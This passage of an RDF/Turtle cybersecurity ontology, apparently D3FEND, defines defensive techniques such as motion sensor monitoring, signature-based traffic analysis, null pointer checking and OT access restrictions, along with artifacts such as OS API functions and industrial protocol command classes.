- **Performance (Accuracy)** Identify instances in data where rule is expected to be triggered. Implement traceability and metrics for individual rule performance. Traceability of cases could be implemented as unit tests or as part of a fine-grained classification performance platform. For simple rule-based matching systems with many rules, individual rules may be unused or may create unusually high false positives (or false negatives relative to expectation.

- **Performance (Computational)** Generate model performance measures (see Classification Performance Measures), esp. a confusion matrix for each rule and identify outliers and relative contribution of rule to overall performance.

## References
1. Event condition action. (2019, Nov 21). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/Event_condition_action).
2. Business rule. (2023, April 10). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/Business_rule).
3. YARA. (2023, June 5). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/YARA).""" ;
    rdfs:subClassOf d3f:SymbolicLogic .

d3f:Model-basedReinforcementLearning a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Model-based Reinforcement Learning" ;
    d3f:d3fend-id "D3A-MBRL" ;
    d3f:definition "Model-based Reinforcement Learning refers to learning optimal behavior indirectly by learning a model of the environment by taking actions and observing the outcomes that include the next state and the immediate reward. The models predict the outcomes of actions and are used in lieu of or in addition to interaction with the environment to learn optimal policies." ;
    d3f:kb-article """## References
Model-Based Reinforcement Learning. In *Encyclopedia of Machine Learning*, pp. 642-644. Springer, 2010.  [Link](https://link.springer.com/referenceworkentry/10.1007/978-0-387-30164-8_556#:~:text=Model%2Dbased%20Reinforcement%20Learning%20refers,state%20and%20the%20immediate%20reward).""" ;
    rdfs:subClassOf d3f:ReinforcementLearning .

d3f:Modem a owl:Class ;
    rdfs:label "Modem" ;
    d3f:definition "A modem -- a portmanteau of \"modulator-demodulator\" -- is a hardware device that converts data into a format suitable for a transmission medium so that it can be transmitted from one computer to another (historically along telephone wires). A modem modulates one or more carrier wave signals to encode digital information for transmission and demodulates signals to decode the transmitted information. The goal is to produce a signal that can be transmitted easily and decoded reliably to reproduce the original digital data. Modems can be used with almost any means of transmitting analog signals from light-emitting diodes to radio. A common type of modem is one that turns the digital data of a computer into modulated electrical signal for transmission over telephone lines and demodulated by another modem at the receiver side to recover the digital data." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Modem> ;
    rdfs:subClassOf d3f:ComputerNetworkNode .

d3f:MotionDetector a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Motion Detector" ;
    d3f:definition "An electrical device that utilizes a sensor to detect nearby motion." ;
    rdfs:isDefinedBy <https://dbpedia.org/page/Motion_detector> ;
    rdfs:subClassOf d3f:HardwareDevice,
        d3f:Sensor .

d3f:MotionSensorMonitoring a d3f:MotionSensorMonitoring,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Motion Sensor Monitoring" ;
    d3f:d3fend-id "D3-MSM" ;
    d3f:definition "Monitoring events from motion detectors (e.g., passive IR, microwave, dual-technology) to detect presence or movement within protected areas." ;
    d3f:kb-article """## How it works

Motion sensors generate events when movement is detected within their coverage pattern. Alarm panels or PACS correlate motion with arming schedules, door openings, and other sensors; video systems can use motion to trigger recording or bookmarks. Cross-zoning and sensitivity/pulse-count settings are commonly adjusted to balance detection and false-alarm rates.

## Considerations

* Place sensors at appropriate height and angle with clear line of sight, avoiding obstructions or reflective surfaces that can cause missed or false detections.
* Reduce false alarms by tuning sensitivity and pulse-count, using cross-zoning when needed, and accounting for HVAC airflow or rapid thermal changes.
* Monitor tamper and supervision signals; for wireless devices, verify periodic check-ins and battery levels; perform regular walk tests to validate coverage.
* Integrate motion events with cameras and with door position switches and other sensors in the protected area to provide context and faster verification; use motion to trigger recording or bookmarks.""" ;
    d3f:kb-reference d3f:Reference-NIST-Special-Publication-800-53-Revision-5,
        d3f:Reference-Wikipedia-MotionDetector,
        d3f:Reference-Wikipedia-PIRSensor ;
    d3f:monitors d3f:MotionDetector ;
    d3f:synonym "Motion Alarm Monitoring",
        "Motion Detector Monitoring" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:monitors ;
            owl:someValuesFrom d3f:MotionDetector ],
        d3f:PhysicalAccessMonitoring .

d3f:NTFSLink a owl:Class ;
    rdfs:label "NTFS Link" ;
    d3f:definition "The NTFS filesystem defines various ways to link files, i.e. to make a file point to another file or its contents. The object being pointed to is called the target. There are three classes of NTFS links: (a) Hard links, which have files share the same MFT entry (inode), in the same filesystem; (b) Symbolic links, which record the path of another file that the links contents should show and can accept relative paths; and (c) Junction points, which are similar to symlinks but defined only for directories and only accepts local absolute paths" ;
    rdfs:subClassOf d3f:File,
        d3f:FileSystemLink .

d3f:NetworkConnectionOpenEvent a owl:Class ;
    rdfs:label "Network Connection Open Event" ;
    d3f:definition "An event where a network connection is successfully opened." ;
    rdfs:subClassOf d3f:NetworkConnectionEvent .

d3f:NetworkMediaStreamingResource a owl:Class ;
    rdfs:label "Network Media Streaming Resource" ;
    d3f:definition "A server that provides digital media content to users." ;
    rdfs:subClassOf d3f:NetworkResource .

d3f:NetworkResourceAccess a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Network Resource Access" ;
    d3f:accesses d3f:NetworkResource,
        d3f:Resource ;
    d3f:definition "Ephemeral digital artifact comprising a request of a network resource and any response from that network resource." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:NetworkResource ],
        [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:Resource ],
        d3f:ResourceAccess .

d3f:NetworkTrafficSignatureAnalysis a d3f:NetworkTrafficSignatureAnalysis,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Network Traffic Signature Analysis" ;
    d3f:analyzes d3f:NetworkTraffic ;
    d3f:d3fend-id "D3-NTSA" ;
    d3f:definition "Analyzing network traffic and compares it to known signatures" ;
    d3f:kb-article """## How it works

Network signature analysis relies on predefined patterns, or signatures, to identify malicious network activity. These signatures typically match against specific byte sequences, packet header information, or protocol anomalies indicative of known threats.

The process works as follows:

* Packet Capture: Network traffic is captured on an interface or port, resulting in a stream of raw packets.
* Preprocessing: The captured packets are preprocessed, cleaning and normalizing the data for efficient analysis.
* Signature Matching: Each packet is compared against a database of signatures using dedicated engines.

## Considerations

### False Negatives

Network signature analysis is susceptible to generating false negatives. These occur when malicious activity evades detection due to limitations in the signature-based approach. Here are some common causes:

* Evolving threats: Attackers frequently modify their tactics, rendering existing signatures ineffective against new variants.
* Obfuscation: Attackers may disguise malicious content using encryption, encoding, or other techniques to bypass signature detection.
* Limited visibility: Signatures rely on specific patterns. If crucial information is encrypted or hidden, the signature might miss the threat.
* Zero-day attacks: By definition, new and unknown attacks lack corresponding signatures, allowing them to pass undetected.

### False Positives

Network signature analysis is susceptible to generating false positives. These occur when the signature analysis triggers an alert for benign traffic. Common causes include:

* Overly broad signatures: Rules designed to be too general might match harmless activities, generating false alarms.
* Network misconfigurations: Improperly configured devices or legitimate network activity can mimic malicious patterns, triggering false positives.
* Data errors: Corrupted or incomplete network data can lead to misinterpretations and false alerts.

""" ;
    d3f:kb-reference d3f:Reference-SystemAndMethodForStrategicAntiMalwareMonitoring ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:NetworkTraffic ],
        d3f:NetworkTrafficAnalysis .

d3f:NetworkVulnerabilityAssessment a d3f:NetworkVulnerabilityAssessment,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Network Vulnerability Assessment" ;
    d3f:d3fend-id "D3-NVA" ;
    d3f:definition "Network vulnerability assessment relates all the vulnerabilities of a network's components in the context of their configuration and interdependencies and can also include assessing risk emerging from the network's design as a whole, not just the sum of individual network node or network segment vulnerabilities." ;
    d3f:evaluates d3f:Network ;
    d3f:identifies d3f:Vulnerability ;
    d3f:kb-reference d3f:Reference-ReachabilityGraphBasedSafeRemediationsforSecuirytofOnPremiseAndCloudComputingEnvironments ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:identifies ;
            owl:someValuesFrom d3f:Vulnerability ],
        [ a owl:Restriction ;
            owl:onProperty d3f:evaluates ;
            owl:someValuesFrom d3f:Network ],
        d3f:NetworkMapping .

d3f:NullPointerChecking a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Null Pointer Checking" ;
    d3f:d3fend-id "D3-NPC" ;
    d3f:definition "Checking if a pointer is NULL." ;
    d3f:hardens d3f:MemoryFreeFunction,
        d3f:PointerDereferencingFunction ;
    d3f:kb-article """
## How it Works
Programmatically checking if a pointer is NULL before use.

## Considerations
* Pointers should be checked prior to use after they have, or may have been modified.
* Note that it may vary by circumstance whether the caller, or callee is responsible for checking if a pointer is NULL.
* Note: This resource should not be considered a definitive or exhaustive coding guideline.""" ;
    d3f:kb-reference d3f:Reference-NullPointerChecking_SEI,
        d3f:Reference-NullPointerDereference_CWE,
        d3f:Reference-PointerValidationFunction_SEI ;
    d3f:synonym "Nil Pointer Checking" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:hardens ;
            owl:someValuesFrom d3f:PointerDereferencingFunction ],
        [ a owl:Restriction ;
            owl:onProperty d3f:hardens ;
            owl:someValuesFrom d3f:MemoryFreeFunction ],
        d3f:PointerValidation .

d3f:OSAPIFreeMemory a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OS API Free Memory" ;
    d3f:definition "An OS API function that releases or deallocates memory that was previously allocated by the program." ;
    d3f:invokes d3f:FreeMemory ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:FreeMemory ],
        d3f:OSAPISystemFunction .

d3f:OSAPIGetSystemTime a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OS API Get System Time" ;
    d3f:definition "An OS API function that retrieves the current system time or timestamp." ;
    d3f:invokes d3f:GetSystemTime ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:GetSystemTime ],
        d3f:OSAPISystemFunction .

d3f:OSAPIMoveFile a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OS API Move File" ;
    d3f:definition "An OS API function that moves or renames a file or directory from one location to another within the file system." ;
    d3f:invokes d3f:MoveFile ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:MoveFile ],
        d3f:OSAPISystemFunction .

d3f:OSAPISuspendProcess a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OS API Suspend Process" ;
    d3f:definition "An OS API function that pauses the execution of a process." ;
    d3f:invokes d3f:SuspendProcess ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:SuspendProcess ],
        d3f:OSAPISystemFunction .

d3f:OSAPISuspendThread a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OS API Suspend Thread" ;
    d3f:definition "An OS API function that pauses the execution of a thread." ;
    d3f:invokes d3f:SuspendThread ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:SuspendThread ],
        d3f:OSAPISystemFunction .

d3f:OSAPITraceProcess a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OS API Trace Process" ;
    d3f:definition "An OS API function that enables a program to monitor, control, or interact with the execution of a process." ;
    d3f:invokes d3f:TraceProcess ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:TraceProcess ],
        d3f:OSAPISystemFunction .

d3f:OTConnectionCommand a owl:Class ;
    rdfs:label "OT Connection Command" ;
    d3f:definition "Establish a network connection with a device." ;
    rdfs:comment """BACnet: vtOpen
BACnet: vtClose """,
        """ENIP: Register Session
ENIP: Unregister Session""" ;
    rdfs:seeAlso <https://icscsi.org/library/Documents/ICS_Protocols/Control%20Microsystems%20-%20DNP3%20User%20and%20Reference%20Manual.pdf>,
        <https://modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf>,
        <https://nvlpubs.nist.gov/nistpubs/TechnicalNotes/NIST.TN.2023.pdf> ;
    rdfs:subClassOf d3f:OTNetworkManagementCommand .

d3f:OTDeviceConfigurationCommand a owl:Class ;
    rdfs:label "OT Device Configuration Command" ;
    d3f:definition "Configure or administer managed devices." ;
    rdfs:comment """BACnet: deviceCommunicationControl
BACnet: reinitializeDevice """,
        """GE-SRTP: READ PROGRAM MEMORY
GE-SRTP: WRITE PROGRAM BLOCK MEMORY
GE-SRTP: CHANGE PLC CPU PRIVILEGE LEVEL
GE-SRTP: SET CONTROL ID(CPU ID)
GE-SRTP: SET PLC (RUN VS STOP)
GE-SRTP: PROGRAM STORE (UPLOAD FROM PLC)
GE-SRTP: PROGRAM LOAD (DOWNLOAD TO PLC)
GE-SRTP: TOGGLE FORCE SYSTEM MEMORY""" ;
    rdfs:seeAlso <https://icscsi.org/library/Documents/ICS_Protocols/Control%20Microsystems%20-%20DNP3%20User%20and%20Reference%20Manual.pdf>,
        <https://modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf>,
        <https://nvlpubs.nist.gov/nistpubs/TechnicalNotes/NIST.TN.2023.pdf> ;
    rdfs:subClassOf d3f:OTDeviceManagementMessage .

d3f:OTDeviceFirmwareCommand a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OT Device Firmware Command" ;
    d3f:definition "Interact with the software responsible for low-level control of the system." ;
    rdfs:seeAlso <https://icscsi.org/library/Documents/ICS_Protocols/Control%20Microsystems%20-%20DNP3%20User%20and%20Reference%20Manual.pdf>,
        <https://modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf>,
        <https://nvlpubs.nist.gov/nistpubs/TechnicalNotes/NIST.TN.2023.pdf> ;
    rdfs:subClassOf d3f:OTDeviceManagementMessage .

d3f:OTModifyDeviceConfigurationCommand a owl:Class ;
    rdfs:label "OT Modify Device Configuration Command" ;
    d3f:definition "Modify device configuration." ;
    rdfs:comment """BACnet: deviceCommunicationControl
BACnet: reinitializeDevice """,
        """GE-SRTP: WRITE PROGRAM BLOCK MEMORY
GE-SRTP: CHANGE PLC CPU PRIVILEGE LEVEL
GE-SRTP: SET CONTROL ID(CPU ID)
GE-SRTP: SET PLC (RUN VS STOP)
GE-SRTP: PROGRAM STORE (UPLOAD FROM PLC)
GE-SRTP: PROGRAM LOAD (DOWNLOAD TO PLC)
GE-SRTP: TOGGLE FORCE SYSTEM MEMORY""" ;
    rdfs:seeAlso <https://icscsi.org/library/Documents/ICS_Protocols/Control%20Microsystems%20-%20DNP3%20User%20and%20Reference%20Manual.pdf>,
        <https://modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf>,
        <https://nvlpubs.nist.gov/nistpubs/TechnicalNotes/NIST.TN.2023.pdf> ;
    rdfs:subClassOf d3f:OTDeviceConfigurationCommand .

d3f:OTNetworkManagementCommandEvent a owl:Class ;
    rdfs:label "OT Network Management Command Event" ;
    d3f:definition "Manage message routing or network connection mechanisms." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTNetworkManagementCommand ],
        d3f:OTEvent .

d3f:OTProcessDataCommandEvent a owl:Class ;
    rdfs:label "OT Process Data Command Event" ;
    d3f:definition "Manage data associated with a controlled process." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTProcessDataCommand ],
        d3f:OTEvent .

d3f:OTReadCommand a owl:Class ;
    rdfs:label "OT Read Command" ;
    d3f:definition "Read or retrieve data." ;
    rdfs:comment """BACnet: confirmedCOVNotification
BACnet: subscribeCOV
BACnet: atomicReadFile
BACnet: readProperty
BACnet: readPropertyConditional
BACnet: readPropertyMultiple
BACnet: unconfirmedCOVNotification
BACnet: readRange
BACnet: subscribeCOVProperty
BACnet: getEventInformation
BACnet: subscribe-cov-property-multiple
BACnet: confirmed-cov-notification-multiple
BACnet: unconfirmed-cov-notification-multiple """,
        """CIP: Get Attributes All
CIP: Get Attribute List
CIP: Get Attribute Single
CIP: Find Next Object Instance
CIP: Get Member """,
        """GE-SRTP: READ SYSTEM MEMORY
GE-SRTP: READ TASK MEMORY """,
        """Modbus: Read Coils
Modbus: Read Discrete Inputs
Modbus: Read Holding Registers
Modbus: Read Input Registers
Modbus: Read File Record
Modbus: Read FIFO Queue""" ;
    rdfs:seeAlso <https://icscsi.org/library/Documents/ICS_Protocols/Control%20Microsystems%20-%20DNP3%20User%20and%20Reference%20Manual.pdf>,
        <https://modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf>,
        <https://nvlpubs.nist.gov/nistpubs/TechnicalNotes/NIST.TN.2023.pdf> ;
    rdfs:subClassOf d3f:OTProcessDataCommand .

d3f:OTRunCommandEvent a owl:Class ;
    rdfs:label "OT Run Command Event" ;
    d3f:definition "Commands a device to start or resume a service/program." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTControllerOperatingMode ],
        [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTRunCommand ],
        d3f:OTModifyDeviceOperatingModeCommandEvent .

d3f:OTTimeCommandEvent a owl:Class ;
    rdfs:label "OT Time Command Event" ;
    d3f:definition "Read, set, or calculate timing mechanisms." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTTimeCommand ],
        d3f:OTDeviceManagementMessageEvent .

d3f:OTVariableAccessRestriction a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OT Variable Access Restriction" ;
    d3f:d3fend-id "D3-OVAR" ;
    d3f:definition "Assign read/write access controls on designated registers or data tags to prevent unauthorized writes." ;
    d3f:enables d3f:Isolate ;
    d3f:kb-article """ ## How it works

Many OT Controllers and OT Communication Modules enable Read-Only or Read/Write access on a per-tag basis.

As an example, when configuring OT process tags which can be accessed using the Modbus protocol, configure the tag to a Modbus Input Register to leverage the protocol's registry ranges, restricting the ability of external sources to modify data.

In Siemens, each data block (DB) tag can be configured as "data block write-protected in the device."
""" ;
    d3f:kb-reference d3f:Reference-PLX3x-Series-Multi-Protocol-Gateways,
        d3f:Reference-S7-1200-Programmable-controller,
        d3f:Reference-SecurePLCCodingPracticesTop20List ;
    d3f:limits d3f:OTLogicVariable ;
    d3f:restricts d3f:OTWriteCommand ;
    d3f:synonym "OT Variable Access Policy" ;
    rdfs:isDefinedBy "Top 20 Secure Coding Practices, #10" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:limits ;
            owl:someValuesFrom d3f:OTLogicVariable ],
        [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:Isolate ],
        [ a owl:Restriction ;
            owl:onProperty d3f:restricts ;
            owl:someValuesFrom d3f:OTWriteCommand ],
        d3f:AccessMediation .

d3f:OTWriteCommandEvent a owl:Class ;
    rdfs:label "OT Write Command Event" ;
    d3f:definition "Write or store data." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTWriteCommand ],
        d3f:OTProcessDataCommandEvent .

d3f:OfficeApplication a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Office Application" ;
    d3f:definition "An office application is one that is part of an application suite (e.g., Microsoft Office, Open Office)." ;
    rdfs:subClassOf d3f:UserApplication .

d3f:OperatingModeMonitoring a d3f:OperatingModeMonitoring,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Operating Mode Monitoring" ;
    d3f:d3fend-id "D3-OMM" ;
    d3f:definition "Detects operating modes such as Program, Run, Remote, or Stop." ;
    d3f:kb-article """## How it works
Many OT Controllers have key switches to change the controller into various modes of operation. These modes of operation can include Program, Run, Remote, or Stop.

The key switch position is often available as a system diagnostic function block of the programming logic.

## Considerations
* It is advised to configure a key switch alarm such that an operator is alerted when the controller is put into a programming mode, as this could indicate unintentional or malicious changes to operational code.""" ;
    d3f:kb-reference d3f:Reference-PLCKeySwitchMonitoring,
        d3f:Reference-TRITONMalwareRemainsThreattoGlobalCriticalInfrastructureICS ;
    d3f:monitors d3f:OTControllerOperatingMode ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:monitors ;
            owl:someValuesFrom d3f:OTControllerOperatingMode ],
        d3f:PlatformMonitoring .

d3f:OperatingModeRestriction a d3f:OperatingModeRestriction,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Operating Mode Restriction" ;
    d3f:d3fend-id "D3-OPR" ;
    d3f:definition "Restricting unauthorized changes to the operating mode prevents devices from switching into inappropriate or vulnerable states during normal use." ;
    d3f:kb-article """## How it works
Many OT Controllers use key switches to change the controller into different modes of operation. These modes of operation can include Program, Run, Remote, or Stop.

The key switch should be left in the appropriate key switch position, e.g., run or remote during normal operations.

Implement a key management procedure to include removing the physical key from the key switch when not in use.""" ;
    d3f:kb-reference d3f:Reference-MITREATTACKAuthorizationEnforcement,
        d3f:Reference-TRITONMalwareRemainsThreattoGlobalCriticalInfrastructureICS ;
    d3f:restricts d3f:OTControllerOperatingMode ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:restricts ;
            owl:someValuesFrom d3f:OTControllerOperatingMode ],
        d3f:AccessMediation .

d3f:OperatingSystem a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Operating System" ;
    d3f:contains d3f:Kernel,
        d3f:LocalUserAccount,
        d3f:SystemServiceSoftware ;
    d3f:definition "An operating system (OS) is system software that manages computer hardware and software resources and provides common services for computer programs. All computer programs, excluding firmware, require an operating system to function. Time-sharing operating systems schedule tasks for efficient use of the system and may also include accounting software for cost allocation of processor time, mass storage, printing, and other resources." ;
    d3f:may-contain d3f:OperatingSystemConfigurationComponent ;
    rdfs:seeAlso <http://dbpedia.org/resource/Operating_system>,
        <https://schema.ocsf.io/objects/os> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:LocalUserAccount ],
        [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:SystemServiceSoftware ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-contain ;
            owl:someValuesFrom d3f:OperatingSystemConfigurationComponent ],
        [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:Kernel ],
        d3f:DigitalInformationBearer .

d3f:PasswordDatabase a owl:Class ;
    rdfs:label "Password Database" ;
    d3f:definition "A password database is a database that holds passwords for user accounts and is usually encrypted (i.e.., the passwords are hashed). Password databases are found supporting system services (such as SAM) or part of user applications such as password managers." ;
    rdfs:subClassOf d3f:Database .

d3f:PasswordRotation a d3f:PasswordRotation,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Password Rotation" ;
    d3f:d3fend-id "D3-PR" ;
    d3f:definition "Password rotation is a security policy that mandates the periodic change of user account passwords to mitigate the risk of unauthorized access due to compromised credentials." ;
    d3f:kb-article """## How it works

Users may be requested to change their passwords on a regular schedule. Management servers with enterprise policies for account management provide the ability to change or reset passwords for accounts.

## Considerations

Requiring users to change their passwords frequently can result in insecure password practices by the user. The latest update of NIST SP 800-63B, Digital Identity Guidelines, recommends requiring password reset only when a known compromise has occurred, or every 365 days, rather than every 60 or 90 days.""" ;
    d3f:kb-reference d3f:Reference-PasswordandKeyRotation-SSH ;
    d3f:regenerates d3f:Password ;
    rdfs:seeAlso <https://pages.nist.gov/800-63-3/sp800-63-3.html>,
        <https://www.auditboard.com/blog/nist-password-guidelines/> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:regenerates ;
            owl:someValuesFrom d3f:Password ],
        d3f:CredentialRotation .

d3f:PeripheralFirmwareVerification a d3f:PeripheralFirmwareVerification,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Peripheral Firmware Verification" ;
    d3f:d3fend-id "D3-PFV" ;
    d3f:definition "Cryptographically verifying peripheral firmware integrity." ;
    d3f:kb-article """# How it works
Peripherial firmware is collected and  analyzed on a host either periodically or on demand. This information may be collected for future comparisons.

Changes in firmware hash values may indicate that the firmware has been tampered with or that firmware images are not maintained to current baselined versions, or even known vulnerable versions are deployed.

## Considerations
* Trust baselines will need to be generated for specific devices
* Changes to trusted configurations will need to be managed across the enterprise""" ;
    d3f:kb-reference d3f:Reference-FirmwareVerificationEclypsium,
        d3f:Reference-FirmwareVerificationTrapezoid ;
    d3f:verifies d3f:PeripheralFirmware ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:verifies ;
            owl:someValuesFrom d3f:PeripheralFirmware ],
        d3f:FirmwareVerification .

d3f:PhysicalAccessAlarmEvent a owl:Class ;
    rdfs:label "Physical Access Alarm Event" ;
    rdfs:comment "An event occuring when a physical threshold is crossed." ;
    rdfs:subClassOf d3f:DigitalEvent .

d3f:PhysicalAccessMediation a d3f:PhysicalAccessMediation,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Physical Access Mediation" ;
    d3f:d3fend-id "D3-PAM" ;
    d3f:definition "Physical access mediation is the process of granting or denying specific requests to enter specific physical facilities (e.g., Federal buildings, military establishments, border crossing entrances.)" ;
    d3f:isolates d3f:PhysicalArtifact ;
    d3f:kb-reference d3f:Reference-CNNSI-4009 ;
    d3f:mediates-access-to d3f:PhysicalArtifact ;
    d3f:synonym "Physical Access Control" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:mediates-access-to ;
            owl:someValuesFrom d3f:PhysicalArtifact ],
        [ a owl:Restriction ;
            owl:onProperty d3f:isolates ;
            owl:someValuesFrom d3f:PhysicalArtifact ],
        d3f:AccessMediation .

d3f:PhysicalEnclosureHardening a d3f:PhysicalEnclosureHardening,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Physical Enclosure Hardening" ;
    d3f:d3fend-id "D3-PEH" ;
    d3f:definition "Physical changes to a computer enclosure which reduce the ability for agents or the environment to affect the contained computer system." ;
    d3f:hardens d3f:ComputerEnclosure ;
    d3f:kb-article """## How it works

System designers or operators make physical changes to a computer enclosure which reduce the ability for agents or the environment to affect the contained computer system. These additions to the enclosure may be of various materials to reduce the effects of heat, gases, vibration, or agent access.

## Considerations

* Use asset inventory tools to track physical equipment and monitor both people and devices for access control.
* Consider relevant regulations to ensure enclosures are in compliance.

* Properly hardened enclosures should be installed and maintained to ensure they are operable and free of tampering. Access to these enclosures is controlled through physical barriers, such as locks and bolts, and may include tamper-evident hardware.

* Records should be maintained concerning maintenance performed, access, and any possible tampering marks or associated incidents.""" ;
    d3f:kb-reference d3f:Reference-GeneralUseOfLocksInTheProtectionAndControlOfFacilitiesRadioActiveMaterialsClassifiedInformationClassifiedMatterAndSafeguardsInformation,
        d3f:Reference-GuideToOTSecurity ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:hardens ;
            owl:someValuesFrom d3f:ComputerEnclosure ],
        d3f:PlatformHardening .

d3f:PhysicalLinkDownEvent a owl:Class ;
    rdfs:label "Physical Link Down Event" ;
    d3f:definition "Carrier or negotiation is lost, or the port is shut, rendering the link non-operational while the medium remains connected." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:precedes ;
            owl:someValuesFrom d3f:PhysicalLinkDisconnectEvent ],
        [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:PhysicalLinkUpEvent ],
        d3f:PhysicalLinkEvent .

d3f:PhysicalLinkMapping a d3f:PhysicalLinkMapping,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Physical Link Mapping" ;
    d3f:d3fend-id "D3-PLM" ;
    d3f:definition "Physical link mapping identifies and models the link connectivity of the network devices within a physical network." ;
    d3f:kb-reference d3f:Reference-LibreNMSDocsNetworkMapExtension ;
    d3f:maps d3f:NetworkNode,
        d3f:PhysicalLink ;
    d3f:synonym "Layer 1 Mapping" ;
    rdfs:seeAlso <https://en.wikipedia.org/wiki/Network_topology#Links> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:maps ;
            owl:someValuesFrom d3f:NetworkNode ],
        [ a owl:Restriction ;
            owl:onProperty d3f:maps ;
            owl:someValuesFrom d3f:PhysicalLink ],
        d3f:NetworkMapping .

d3f:PhysicalLinkUpEvent a owl:Class ;
    rdfs:label "Physical Link Up Event" ;
    d3f:definition "Auto-negotiation and signal detection complete; carrier is present and the link can forward frames." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:precedes ;
            owl:someValuesFrom d3f:PhysicalLinkDownEvent ],
        [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:PhysicalLinkConnectEvent ],
        d3f:PhysicalLinkEvent .

d3f:PhysicalLock a owl:Class ;
    rdfs:label "Physical Lock" ;
    d3f:definition "A lock is a mechanical latching device for securing moveable portions of physical barriers in a secured position." ;
    rdfs:seeAlso <https://dbpedia.org/page/Lock_and_key> ;
    rdfs:subClassOf d3f:PhysicalArtifact .

d3f:PhysicalLocking a d3f:PhysicalLocking,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Physical Locking" ;
    d3f:d3fend-id "D3-EPL" ;
    d3f:definition "Employ a mechanical locking device for securing moveable portions of physical barriers (e.g., doors, gates, drawers) in a secured position." ;
    d3f:kb-article """## How it works

A physical mechanism which has a associated credential which when entered enables the lock bolt to operate, i.e. open or close.

## Considerations

* Consider that locks for specified materials should adhere to relevant regulations.

* Lock equipment cabinets when not needed for operation or safety; set OT asset keys of devices (e.g., PLCs and safety systems) to the “RUN” position unless otherwise specified.

* Locks and all associated hardware should be properly installed, operable, and free of substantive indications of tampering.

